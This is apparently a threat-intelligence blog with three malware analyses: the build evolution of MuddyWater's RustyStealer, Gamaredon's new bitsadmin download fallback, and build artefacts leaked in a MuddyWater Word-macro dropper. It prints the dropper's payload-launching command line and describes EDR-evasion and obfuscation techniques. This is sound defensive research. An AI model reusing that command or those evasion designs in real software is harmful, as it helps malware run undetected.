Embedded user artefacts

Cluster 1: Core codebase

The first cluster represents the actual core of the codebase and contains the samples:

e081bc408f73158c7338823f01455e4f5185a4365c8aad1d60d777e29166abbd
e61b2ed360052a256b3c8761f09d185dad15c67595599da3e587c2c553e83108
a2001892410e9f34ff0d02c8bc9e7c53b0bd10da58461e1e9eab26bdbf410c79

All three share identical lib dependencies and are compiled close together in time, two of them even share the exact same compile timestamp. One sample also contains the user artefact "Bruno", which further hints to a consistent build environment.

Despite moderate TLSH distance to some variants, the internal similarity inside this cluster remains high enough to confidently assume a shared codebase.

Cluster 2: Early feature branch

A second, clearly separable cluster consists solely of:

ddc6e6c76ac325d89799a50dffd11ec69ed3b5341740619b8e595b8068220914

This sample extends the otherwise stable library stack with an additional winreg dependency while remaining TLSH-close to the core samples.
Combined with its earlier compile timestamp, i think this a temporary feature branch or experiment rather than a fully independent development line.

Cluster 3: Later modernization branch

The third cluster is represented by:

7523e53c979692f9eecff6ec760ac3df5b47f172114286e570b6bba3b2133f58

The build differs by multiple additional libraries and introduces a newer version of rustc-demangle.
Additionally, a different username ("Jacob") appears in the artefacts.
While the TLSH distance still places this sample within the same family, it consistently sits outside the tighter core cluster range.
Taken together, this strongly indicates a later development branch with an updated toolchain and likely expanded functionality

Overall, this results in a three-tier model:

A stable core cluster forming the technical baseline
An early feature branch with minimal extension
A later modernization branch with a changed toolchain and build environment

My clustering is not driven by hash similarity alone, but only becomes reliable through the combined temporal, structural and artefact based corelation. It also provides insight into development practices, build discipline and potential role separation within the development process of the malware

Version mapping

Based on this clustering, I derived the following version mapping:

Version	Sample (SHA256)	Compile Date	Cluster	Besonderheiten	Developer
v0.9	ddc6e6c76ac325d89799a50dffd11ec69ed3b5341740619b8e595b8068220914	23.09.2025	Registry-Branch	+ winreg library (Feature-Experiment)	unknown
v1.0	e081bc408f73158c7338823f01455e4f5185a4365c8aad1d60d777e29166abbd	19.10.2025	Core	Baseline Toolchain	Bruno
v1.1	e61b2ed360052a256b3c8761f09d185dad15c67595599da3e587c2c553e83108	16.11.2025	Core	Parallel Build, stabiler Stack	Bruno
v1.1b	a2001892410e9f34ff0d02c8bc9e7c53b0bd10da58461e1e9eab26bdbf410c79	16.11.2025	Core	Parallel Build (gleicher Timestamp)	Bruno
v2.0	7523e53c979692f9eecff6ec760ac3df5b47f172114286e570b6bba3b2133f58	05.01.2026	Jacob-Branch	Neue Libs + neue rustc-demangle	Jacob

At this point we already have a solid structural overview without having touched the actual code yet. This part comes next.

For the code comparison I use Ghidras Version Tracking module. The versions will be analyzed in the following pairs:

v0.9 <-> v1.0
v1.0 <-> v1.1
v1.1 <-> v2.0

So three comparisons in total which honestly is still a very manageable workload

Let’s get started 🙂

Version Tracking workflow

I won’t go into a full tutorial on how Ghidras Version Tracking works. Instead, I’ll briefly outline my simple workflow for today.

First, I set the confidence filter to:

-1.0 -> 0.950

Everything above that can usually be assumed identical across samples. I select all those findings and accept them in bulk.

For the remaining findings, I set up a small quality-of-life shortcut:

SHIFT + T = Assign Tag

Then I filter the results by:

Tag (ascending)
Type (ascending)
Status (ascending)

and tighten the confidence filter slightly to:

-1.0 → 0.95

This gives me a clean view of all unresolved function-level differences without assigned tags, exactly the changes that matter most when identifying structural evolution.

It looks roughly like this:

The workflow is simple:

Select the next finding
Open code comparison (SHIFT + C)
If identical -> accept (SHIFT + A)
If different -> assign a tag for later analysis (SHIFT + T)

Once accepted or tagged, the finding disappears from the filtered view and I repeat the process.

I iterate this until all relevant changes are reviewed and documented.

RustyStealer: Evolution from v0.9 to v2.0

What changed, what failed and what the developer learned

During a longitudinal analysis of multiple RustyStealer builds, four development stages become visible for me: an early baseline version (v0.9), a cleanup iteration (v1.0), a short-lived performance refactor (v1.1) and a more fundamental architectural shift in v2.0.

Rather than showing linear feature growth, the samples show a realistic iterative engineering process with experimentation, rollback and eventual consolidation toward stealth and reliability.

This analysis focuses on behavioral deltas inferred from import-level changes and binary artifacts.

Version 0.9: Early baseline and rough edges

The earliest observed build (v0.9) represents a relatively raw implementation.

Notable characteristics:

Dependency artifacts included unused crates such as winreg / windows-registry ( i guess early experimentation or leftover scaffolding)
No meaningful behavioral differences compared to later v1.0 builds
No advanced memory manipulation or cryptographic primitives observed
Limited internal abstraction and minimal architectural complexity

From a development POV, v0.9 looks like a staging build that still contained residual dependencies and experimental code paths that were not yet cleaned up.

Version 1.0: Cleanup and stabilization

The transition from v0.9 to v1.0 did not introduce meaningful functional changes. The most visible difference was the removal of unused dependency artifacts (such as the winreg crate) without any observable change in imports or runtime behavior.

This looks more like a dependency cleanup rather than a behavioral refactor

Key observations:

No changes in imported Windows APIs
No observable change in capabilities or execution flow
Binary differences consistent with rebuild noise and dependency graph cleanup

This phase reflects basic project hygiene rather than feature development.

Version 1.1: Performance experiment and internal refactor

Version 1.1 marks the first technically ambitious change

Major changes observed:

Introduction of asynchronous and overlapped file I/O:

ReadFile, NtReadFile
GetOverlappedResult, CancelIo
Event-based synchronization (CreateEventW, WaitForMultipleObjects)

Migration to modern Windows path resolution via SHGetKnownFolderPath.

Explicit memory cleanup for shell APIs using CoTaskMemFree.

Removal of host fingerprinting:

GetComputerNameExW
GetUserNameW
NetGetJoinInformation

This version appears to have attempted:

Faster and more scalable file harvesting.
Cleaner filesystem abstraction.
Reduced behavioral noise by temporarily disabling host profiling.

However, asynchronous I/O pipelines significantly increase complexity and often cause instability in realworld environments
This version looks more like a technical experiment rather than a long term production design for me

Additional findings from later code diffs

Looking at later builds and comparing them back to this branch reveals several important follow-up changes that appear to originate from the 1.1 refactor.

String handling and Defender artefacts

Older builds still expose cleartext strings such as direct Windows Defender directory paths, making static detection trivial.
In later builds these strings disappear entirely and are reconstructed at runtime using multiple XOR-based decoding routines and different key constants.

I believe the outcome of the 1.1 refactor was the realization that static strings were becoming a liability, leading to systematic runtime string decryption in subsequent versions.

Collection handling and stability

Later builds include additional safety checks when aggregating dynamic collections (explicit overflow protection when joining result sets)
The same logic exists in earlier builds but is less defensive and less structured.

This points to stability issues encountered when processing larger data sets, which maybe were discovered during or shortly after the scalability experiments introduced in version 1.1.

Modular architecture continuity

Both older and newer builds continue to reference internal Rust modules such as:

src\modules\persist.rs
src\modules\interface.rs
src\modules\information.rs
src\modules\detect_av.rs

It confirms that the internal refactor in 1.1 successfully established a modular layout that later versions could iterate on without further structural changes.

Toolchain and build artefacts

Later samples expose more Rust toolchain artefacts (stable-x86_64 paths and related metadata) and show noticeable hash divergence despite similar functionality.
This looks like a change in compiler version or build environment after this refactor phase, which may also explain subtle behavioral and binary layout differences between closely related samples.

My take

Version 1.1 looks like the point where the developers started stress testing their own architecture.

They might have pushed performance and concurrency, simplified some noisy host profiling and cleaned up API usage.
The follow-up changes visible in later diffs show that this experiment exposed two main pain points:

Static strings and predictable artefacts were too easy to signature.
Increased scale and concurrency exposed stability issues in collection handling.

Instead of doubling down on complex async I/O, later versions appear to focus more on obfuscation, robustness and operational reliability, while keeping the modular structure introduced here.

imo 1.1 feels less like a production release and more like a learning phase that shaped the technical direction of everything that followed.

Version 2.0: Architectural consolidation and stealth optimization

Version 2.0 represents a clear update in development priorities.

Instead of further expanding the async pipeline, the developer reverted many of the experimental components and focused on stealth, operational control and internal maturity.

Major changes observed:

Removal of asynchronous file pipeline

All overlapped I/O and event-based sync primitives present in v1.1 have been fully removed in v2.0 and later builds. No replacement async scheduling mechanisms (IOCP, APCs, worker pools or deferred execution patterns) are observable in the call graph.

The runtime execution flow is now strictly sequential, with simplified synchronization primitives replacing the earlier concurrency model.
It looks like the experimental async pipeline was abandoned in favor of a more predictable and operationally stable execution model.
It reduces architectural complexity, lowers race condition risk and improves long-term stability across victim environments.
All overlapped I/O and event-based synchronization APIs were removed, indicating that the v1.1 experiment was abandoned in favor of a simpler and more predictable execution model.

Reintroduction of host fingerprinting

Host identification APIs returned:

GetComputerNameExW
GetUserNameW
NetGetJoinInformation

Focus on victim profiling, campaign correlation and backend attribution logic
The temporary removal in v1.1 now appears to have been an experimental privacy / noise reduction phase rather than a permanent design direction.

Migration towards native NT APIs

Several subsystems were migrated towards native system calls:

Named pipes moved from CreateNamedPipeW to NtCreateNamedPipeFile
File handling introduced NtOpenFile

This reduces visibility to user-mode API hooking and increases resistance against common EDR userland instrumentation.

Introduction of cryptographic randomness and entropy hardening

Version 2.0 introduces a dedicated entropy generation pipeline based on SystemFunction036 (RtlGenRandom), replacing the previously implicit and largely deterministic behavior.

Rather than simply requesting random bytes, the implementation builds a full entropy pool that combines cryptographically secure randomness with adaptive jitter-based sampling and internal quality validation.
The generated entropy is statistically evaluated at runtime and rejected if it fails basic stability and distribution thresholds.
Only entropy that passes these health checks is propagated further into the execution flow.

The call chain shows that the generated randomness directly feeds into subsequent runtime decoding routines, where multiple obfuscated data blocks are reconstructed through XOR-based transformations and dynamic key. In earlier versions, these decode paths relied almost entirely on static constants and predictable transformations.
In v2.0, parts of this process become entropy-dependent and therefore non-deterministic across executions

From an operational perspective this has several implications:

Runtime decoding behavior becomes less reproducible for static analysis and sandbox instrumentation.
Signature-based detection and clustering become more fragile, as internal state and derived values differ per execution.
Correlation across samples using hash similarity, instruction-level signatures or deterministic unpacking pipelines becomes significantly harder.
The malware gains a higher degree of resilience against emulation environments with weak or manipulated entropy sources.

While the mechanism could theoretically support use cases such as object naming, session identifiers or cryptographic material, the integration into the decode pipeline indicates more that the primary motivation is obfuscation hardening and stealth rather than feature expansion

It marks a shift in development priorities: the developers invest in making existing functionality harder to observe, reproduce and classify

Memory protection manipulation (VirtualProtect)

VirtualProtect appears in v2.0, but not as a generic “unpacking” indicator.

It is used to flip a read-only dispatch table to writable just long enough to store dynamically resolved API pointers, then lock it back down.
Thats consistent with the shift towards runtime API resolving and NT-level calls: fewer static imports, less signature surface and a resolver layer that is harder to tamper with or trivial hook

Internal synchronization refactor

Thread state handling was refactored away from TLS primitives and migrated towards modern synchronization APIs (InitializeCriticalSectionEx)

I think it’s for architectural cleanup and improved concurrency control.

Obfuscation hardening and decoder abstraction

Compared to version 1.1, version 2.0 further abstracts string decryption and reconstruction logic.
Previously visible XOR decoders with fixed constants and static data offsets were refactored into more generic reconstruction helpers and indirect decode routines.

This significantly reduces static signature stability and increases the effort required for automated clustering and YARA-style detection.

Improved memory lifecycle management and cleanup paths

Version 2.0 introduces more explicit cleanup sequences, callback-based destructors and tighter buffer lifecycle handling.

Multiple teardown paths now explicitly free dynamically allocated buffers, invoke destructor callbacks and normalize internal state after large collection operations.
It might be an effort to reduce memory leaks, crash probability and long-running instability during high-volume data processing.

Build pipeline evolution

Build artifacts show a different Rust toolchain and build environment compared to version 1.1.
Toolchain paths shifted from shared “Archer” layouts towards user-local rustup environments, explaining observed TLSH divergence despite largely stable runtime behavior.

This reflects internal “”””build pipeline”””” changes rather than functional malware changes.

Summary

Version 2.0 prioritizes:

Simplification and rollback of risky experimental I/O designs
Stronger stealth via native API usage and obfuscation hardening
Improved runtime stability and memory hygiene
Reintroduction of host profiling for operational correlation
Internal architectural consolidation rather than feature expansion

Overall, this release reflects a stabilization phase where operational reliability and detection resistance outweigh rapid feature development

Conclusion

If there’s one takeaway from this exercise, it’s that even relatively “boring” commodity implants become surprisingly interesting once you stop treating them as static blobs and start treating them like evolving software projects.

By correlating build artefacts, dependency drift, fuzzy hashes and targeted code diffs, we can reconstruct a fairly coherent development timeline for RustyStealer without having to reverse every single function into oblivion. We see experimentation phases (hello async pipeline), rollbacks when ideas don’t survive real-world friction, hardening towards stealth (dynamic API resolution, entropy injection) and the usual toolchain churn that comes with real developers shipping real code, even if that code happens to be malware.
None of this magically turns RustyStealer into some nextgen cyber superweapon. It’s still fundamentally a fairly standard implant doing fairly standard implant things.
Also it’s a nice reminder that “grep strings > extract a few IOCs > call it a day” only gets you so far. If you actually want to understand how an actor operates, what they experiment with and where their engineering effort goes, you have to look at trends, not snapshots.
Which admittedly takes more time, more coffee and slightly more patience than copy-pasting hashes into VirusTotal buuuut the payoff is a much clearer picture of what’s really going on under the hood.

There’s also a more general lesson in all of this imo

If the goal is to actually understand a threat actor, not just label a sample and move on, then obsessing over individual functions, opcodes and micro-optimizations only gets you part of the way.
That level of detail is useful, but it doesnt tell you how the tooling evolves, where engineering effort is invested, which ideas get abandoned or how operational priorities shift over time.
These signals live in the truly boring parts: build artefacts, dependency drift, architectural refactors, version churn and the occasional accidental breadcrumb left behind in a binary or wherever.
When you line those up over multiple samples, you start seeing intent and process instead of isolated behaviour and this exactly what we want ^-^

Gamaredon: Now Downloading via Windows Updates Best Friend “BITS”

by Robin Dost

There’s yet another update in Gamaredons GamaLoad scripts, which pushed me to write this article and to slightly revisit my previous post “Defending Against Gamaredon: Practical Controls That Actually Work“.

In this article, I distinguish between GamaLoad and Pterodo. I still consider GamaLoad a transitional stage, primarily implemented as a defensive layer to slow down analysis rather than as a fundamentally new capability.
That said, there are visible changes both in payload delivery and in obfuscation.

I’ll mainly focus on what has changed since my last posts. If you’re interested in the broader context and historical behavior, have a look at the previous articles first.

For this analysis, I pulled the latest Gamaredon sample with the hash:

3538618e0ae0f7e73d96843d90323178b1d434262a074fc24be8e36283e7dd92

and dropped it straight into my tracking framework.

From a delivery perspective, not much has changed compared to Gamaredons last shift. The victim still receives a RAR archive as an attachment. When opened or extracted, it drops an HTA file into the Startup folder, infecting the system on the next reboot.
A few minutes later, my tracking system already picked up the first fresh GamaLoad samples for analysis.

When comparing these new samples to the December 2025 batch, one thing immediately stood out:
they are almost twice as large and noticeably more obfuscated.

(Left column: line count, right column: hash+date)

The obfuscation hasn’t just increased (which, honestly, doesn’t help much given how terrible Gamaredons obfuscation usually is :D), but it has also become slightly smarter.

Historically, their scripts contained tons of junk loops that served absolutely no purpose and could simply be deleted during manual deobfuscation. In the newer samples, however, more variables defined inside those junk blocks are later reused in the actual execution flow.

So if you’re still deobfuscating by hand or your automation isn’t fully mature yet, you’ll want to be a bit more careful here.

(Variable larkxGg is defined in the junk loop, but used after it)

The Interesting Part

A few days ago, I published an article showing how surprisingly easy it is to defend against Gamaredon by blocking a small set of Windows tools such as mshta.exe or MSXML2.XMLHTTP.
If you’re honest about it, Gamaredon’s tooling is… let’s say “not exactly impressive”. Blocking a handful of abused LOLBins already makes payload delivery painfully difficult for them. Their development is slow, incremental, and often fairly predictable.

Well, i guess they noticed.

The defensive measures described in that article have now been bypassed.
Don’t worry though, we’ll adjust accordingly 😁

Fallback on Fallback: Now Featuring BITS

The new GamaLoad script still relies on a familiar fallback structure to retrieve and execute payloads from their delivery infrastructure.

Conceptually, this is very simple: the script keeps trying different URLs until one successfully returns a payload. If everything fails, an empty string is returned.

What’s new is that this fallback logic now has… another fallback.

If no payload stage can be retrieved via the usual mechanisms, the script switches to downloading the payload using bitsadmin.

What is bitsadmin?

bitsadmin is a Windows utility used to control the Background Intelligent Transfer Service (BITS), which provides reliable background downloads and uploads.
Attackers abuse it as a Living-off-the-Land Binary (LOLBin) to quietly retrieve payloads without dropping additional tooling onto disk.

From an attacker’s perspective, BITS has some very attractive properties:

resilient background transfers
native proxy support
high reliability on unstable networks
no obvious “malware-looking” process tree

exactly the kind of boring enterprise plumbing malware loves to hide in ^^

Why Gamaredon Switched to BITS

For years, Gamaredon heavily relied on classic LOLBins such as mshta.exe and MSXML2.XMLHTTP for payload delivery and execution.
By now, these techniques are:

blocked by default in many environments (AppLocker, ASR rules, EDR hardening)
trivial to detect via signatures and behavior
operationally noisy (suspicious child processes, script artifacts, obvious telemetry)

BITS lives in a much more comfortable gray zone:

it supports persistent and robust downloads
it is actively used by Windows itself (Windows Update, Defender, Office, etc.)
blocking it outright often creates operational risk in enterprise environments
its network traffic looks boring and legitimate (svchost.exe, Microsoft-like headers)
it works reliably behind proxies and restrictive networks

if your previous delivery pipeline keeps getting kicked in the teeth by defenders, BITS is a logical next step even for an actor whose tooling evolution is usually measured in geological time.

Is This a Problem?

Not really.

In my article “Defending Against Gamaredon: Practical Controls That Actually Work”, I now show how you can effectively mitigate BITS abuse without breaking normal business operations.

So yes: Gamaredon adapted.
And yes we’ll adapt again. That’s kind of the point. 🙂

MuddyWater: When Your Build System Becomes an IOC – “Jacob”

by Robin Dost

EDIT 2026-01-18: I published a follow-up article analyzing the evolution and version history of the latest RustyStealer samples, focusing on change tracking, tooling evolution, and architectural shifts across multiple builds

Today I was bored, so I decided to take a short break from Russian threat actors and spend a day with our friends from Iran instead.
I grabbed a sample attributed to MuddyWater (hash: "f38a56b8dc0e8a581999621eef65ef497f0ac0d35e953bd94335926f00e9464f", sample from here) and originally planned to do a fairly standard malware analysis.

That plan lasted about five minutes.

What started as a normal sample quickly turned into something much more interesting for me:
the developer didn’t properly strip the binary and left behind a lot of build artefacts, enough to sketch a pretty solid profile of the development toolchain behind this malware.

In this post I won’t go into a full behavioral or functional analysis of the payload itself.
Instead, I’ll focus on what we can learn purely from the developers mistakes, what kind of profile we can derive from them and how this information can be useful for clustering and campaign tracking.
A more traditional malware analysis of this sample will follow in a future post.

Quick Context: Who Is MuddyWater Anyway?

Before going any further, a quick bit of context on MuddyWater, because this part actually matters for what follows.

MuddyWater is a long-running Iranian threat actor commonly associated with the Iranian Ministry of Intelligence and Security (MOIS). The group is primarily known for espionage-driven operations targeting government institutions, critical infrastructure, telecommunications and various organizations across the Middle East and parts of Europe.

This is not some random crimeware operator copy-pasting loaders from GitHub like script kiddies.
We’re talking about a mature, state-aligned actor with a long operational history and a fairly diverse malware toolkit.

Which is exactly why the amount of build and development artefacts left in this sample is so interesting.

The initial sample is a .doc file.
Honestly, nothing fancy just a Word document with a macro that reconstructs an EXE from hex, writes it to disk and executes it. Classic stuff.

I started with oleid:

oleid f38a56b8dc0e8a581999621eef65ef497f0ac0d35e953bd94335926f00e9464f.doc

As expected, the document contains VBA macros, so next step:

olevba --analysis f38a56b8dc0e8a581999621eef65ef497f0ac0d35e953bd94335926f00e9464f.doc

Clearly malicious. No surprises here.
To get a closer look at the macro itself, I exported it using:

olevba -c f38a56b8dc0e8a581999621eef65ef497f0ac0d35e953bd94335926f00e9464f.doc > makro.vba

Now we can see the actual macro code:

Apart from some typos and random variable names, most of this is just junk code.
What actually happens is pretty straightforward:

WriteHexToFile takes a hex string from UserForm1.TextBox1.Text, converts it to bytes and writes it to:
C:\ProgramData\CertificationKit.ini

love_me__ constructs the following command from ASCII values:

99 109 100 46 101 120 101 = cmd.exe
32 47 99 32 = /c
67 58 92 80 114 111 + "gramData\CertificationKit.ini"
= C:\ProgramData\CertificationKit.ini

Final result:

cmd.exe /c C:\ProgramData\CertificationKit.ini

While the payload shows a clear shift towards modern Rust-based tooling, the document dropper still relies on “obfuscation” techniques that wouldn’t look out of place in early 2000s VBA malware. Turning strings into ASCII integers and adding unreachable trigonometric conditions mostly just makes human analysts roll their eyes. It provides essentially zero resistance against automated analysis, but hey, let’s move on.

Extracting the Payload

To extract the binary cleanly, I wrote a small Python script:

CLICK TO OPEN

# Author: Robin Dos 
# Created: 10.01.2025
# This scripts extracts binary from a muddywater vba makro

#!/usr/bin/env python3
import re
import sys
from pathlib import Path
import olefile

DOC = Path(sys.argv[1])
OUT = Path(sys.argv[2]) if len(sys.argv) > 2 else Path("payload.bin")

STREAM = "Macros/UserForm1/o"

def main():
    if not DOC.exists():
        raise SystemExit(f"File not found: {DOC}")

    ole = olefile.OleFileIO(str(DOC))
    try:
        if not ole.exists(STREAM.split("/")):
            # list streams for troubleshooting
            print("stream not found. Available streams:")
            for s in ole.listdir(streams=True, storages=False):
                print("    " + "/".join(s))
            raise SystemExit(1)

        data = ole.openstream(STREAM.split("/")).read()
    finally:
        ole.close()

    # Extract long hex runs
    hex_candidates = re.findall(rb"(?:[0-9A-Fa-f]{2}){200,}", data)
    if not hex_candidates:
        raise SystemExit("[!] No large hex blob found in the form stream.")

    hex_blob = max(hex_candidates, key=len)
    # clean (jic) and convert
    hex_blob = re.sub(rb"[^0-9A-Fa-f]", b"", hex_blob)

    payload = bytes.fromhex(hex_blob.decode("ascii"))
    OUT.write_bytes(payload)

    print(f"wrote {len(payload)} bytes to: {OUT}")
    print(f"first 2 bytes: {payload[:2]!r} (expect b'MZ' for PE)")

if __name__ == "__main__":
    main()

In the end I get a proper PE32+ executable, which we can now analyze further.

SHA256 of the extracted payload:

7523e53c979692f9eecff6ec760ac3df5b47f172114286e570b6bba3b2133f58

If we check the hash on VirusTotal, we can see that the file is already known, but only very recently:

We also get multiple attributions pointing toward MuddyWater:

So far, nothing controversial, this is a MuddyWater RustyStealer Sample as we’ve already seen before.

Build Artefacts: Where Things Get Interesting

Now that we have the final payload, I loaded it into Ghidra.
First thing I always check: strings.

And immediately something interesting pops up:

The binary was clearly not properly stripped and contains a large amount of leftover build artefacts.
Most notably, we can see the username “Jacob” in multiple build paths.

No, this does not automatically mean the developers real name is Jacob.
But it does mean that the build environment uses an account named Jacob and that alone is already useful for clustering.

I went through all remaining artefacts and summarized the most interesting findings and what they tell us about the developer and their environment.

Operating System

Windows

Evidence:

C:\Users\Jacob\...
C:\Users\...\rustup\toolchains\...
windows-registry crate
schannel TLS

This was built natively on Windows.
No Linux cross-compile involved.

Programming Language & Toolchain

Rust (MSVC Toolchain)

Evidence:

stable-x86_64-pc-windows-msvc
.cargo\registry
.rustup\toolchains

Target Triple:
x86_64-pc-windows-msvc

This is actually quite useful information, because many malware authors either:

build on Linux and cross-compile for Windows or
use the GNU toolchain on Windows

Here we’re looking at a real Windows dev host with Visual C++ build tools installed

Username in Build Paths

C:\Users\Jacob\

Again, not proof of identity, but a very strong clustering indicator.
If this path shows up again in other samples, you can (confidently) link them to the same build environment or toolchain.

Build Quality & OPSEC Trade-Offs

The binary contains:

panic strings
assertion messages
full source paths

Examples:

assertion failed: ...
internal error inside hyper...

Which suggests:

no panic = abort
no aggressive stripping
no serious release hardening focused on OPSEC

development speed and convenience clearly won over build sanitization

Which is honestly pretty typical for APT tooling, but this is still very sloppy ngl

Dependency Stack & Framework Fingerprint

Crates and versions found in the binary:

atomic-waker-1.1.2
base64-0.22.1
bytes-1.10.1
cipher-0.4.4
ctr-0.9.2
futures-channel-0.3.31
futures-core-0.3.31
futures-util-0.3.31
generic-array-0.14.7
h2-0.4.12
hashbrown-0.15.5
http-1.3.1
httparse-1.10.1
http-body-util-0.1.3
hyper-1.7.0
hyper-tls-0.6.0
hyper-util-0.1.16
icu_normalizer-2.0.0
idna-1.1.0
indexmap-2.11.0
ipnet-2.11.0
iri-string-0.7.8
mio-1.0.4
percent-encoding-2.3.2
rand-0.6.5
reqwest-0.12.23
smallvec-1.15.1
socket2-0.6.0
tokio-1.47.1
tower-0.5.2
universal-hash-0.5.1
url-2.5.7
utf8_iter-1.0.4
want-0.3.1
windows-registry-0.5.3

What information we can extract from this:

Network Stack

Async HTTP client (reqwest)
Full hyper stack (hyper, hyper-util, http, httparse)
HTTP/1.1 and HTTP/2 support (h2)
TLS via Windows Schannel (hyper-tls)
Low-level socket handling (socket2, mio)

So this is very clearly not basic WinInet abuse or some minimal dl logic
It’s somehwat a full-featured HTTP client stack assembled from modern Rust networking libs, with proper async handling.

Looks much more like a persistent implant than a simple one-shot loader.

Async Runtime

tokio
futures-*
atomic-waker

This strongly suggests an event-driven design with concurrent tasks, typical for beaconing, task polling and long-running background activity.

Not what you would expect from a disposable stage loader.

Crypto

cipher
ctr
universal-hash
generic-array
plus base64

Active use of AEAD-style primitives, very likely AES-GCM or something close to it.

Which looks for me like:

encrypted embedded configuration
and/or encrypted C2 communication

Either way, encryption is clearly part of the design

rustc-demangle

Also one telling artefact is the presence of source paths from the rustc-demangle crate, including references to .llvm./rust/deps/.../src/lib.rs

These are build-time paths leaking straight out of the developers Cargo environment. In my opinion this means that panic handling and backtrace support were left enabled, instead of using an aggressive panic=abort and stripping strategy.

Local Development Environment

Paths like:

.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\

Indicate:

standard Cargo cache layout
no Docker build
no CI/CD path patterns

This was almost certainly built locally on the developers Windows workstation or VM.
Just someone hitting cargo build on their dev box.
Relatable, honestly

Compiler Version (Indirectly)

Multiple references to:

/rustc/ded5c06cf21d2b93bffd5d884aa6e96934ee4234/

This is the Rust compiler commit hash.

That allows fairly accurate mapping to a Rust release version
(very likely around Rust 1.92.0)

Which is extremely useful for:

temporal analysis of campaigns

toolchain reuse detection

Internal Project Structure (More Dev Leaks)

src\main.rs
src\modules\persist.rs
src\modules\interface.rs

That tells us a lot:

Modular Architecture

persist > persistence module
interface > C2 interface or command handling

This is not just a single-purpose loader
This is a modular implant much closer to a full backdoor framework than a simple dropper.

What This Tells Us About the Developer & Operation

Technical Profile

Rust developer
works on Windows
uses MSVC toolchain
builds locally, not via CI
comfortable with async networking
understands TLS and proxy handling

Operational Assumptions

expects EDR solutions (found a lot of AV related strings, but not to relevant tbh)
expects proxy environments
targets corporate networks
uses modular architecture for flexibility

OPSEC Choices

prioritizes development speed
does not heavily sanitize builds
accepts leakage of build artefacts (LOL)

Which again fits very well with how many state aligned toolchains are developed:
fast iteration, internal use and limited concern about reverse-engineering friction

From a threat hunting perspective, these artefacts are far more useful than yet another short-lived C2 domain, they allow us to track the toolchain, not just the infrastructure

What Build Artifacts Reveal About Actor Development

Build artifacts embedded in operational malware are more than just accidental leaks they offer a look into an actors internal development maturity.
Exposed compiler paths, usernames, project directories or debug strings strongly suggest the absence of a hardened release pipeline.
In mature development environments, build systems are typically isolated, stripped of identifiable metadata and designed to produce reproducible, sanitized artifacts.
When these indicators repeatedly appear in live payloads, it points to ad-hoc or poorly automated build processes rather than a structured CI/CD workflow
The continued presence of build artifacts across multiple campaigns is particularly telling.
It indicates not just a single operational mistake, but a lack of learning or feedback integration over time. Actors that actively monitor public reporting and adapt their tooling usually remediate these issues quickly.
Those that do not reveal organizational constraints, limited quality assurance or sustained time pressure within their development cycle.
I’ll start to do some more research about MuddyWater in the next few weeks to get a better understanding weather this was a single incident or a general problem in MuddyWaters development process.
Leaving build artefacts in your malware is rarely about “oops, forgot to strip the binary”
It’s more a side effect of how development, testing and deployment are glued together inside the operation.
From a defenders POV, that’s actually way more useful than yet another throwaway C2 domain / IP.
These artefacts don’t rotate every week they give you fingerprints that can survive multiple campaigns.